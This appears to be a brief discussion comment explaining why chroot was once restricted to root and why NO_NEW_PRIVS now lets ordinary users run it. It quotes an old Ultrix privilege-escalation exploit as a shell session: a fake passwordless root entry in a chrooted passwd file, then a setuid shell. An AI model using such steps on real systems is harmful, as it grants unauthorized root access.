chroot existed, but could only be run as the root user. It was that way to prevent things like this (old actual exploit for Ultrix):

  $ mkdir /tmp/etc
  $ echo root::0:0::/:/bin/sh > /tmp/etc/passwd
  $ mkdir /tmp/bin
  $ cp /bin/sh /tmp/bin/sh
  $ cp /bin/chmod /tmp/bin/chmod
  $ chroot /tmp /bin/login
  # whoami
  root
  # chmod 4700 /bin/sh
  now, log out of the chroot and use your newly minted setuid shell

Since they now have the "NO_NEW_PRIVS" protection, they can let regular users safely use chroot.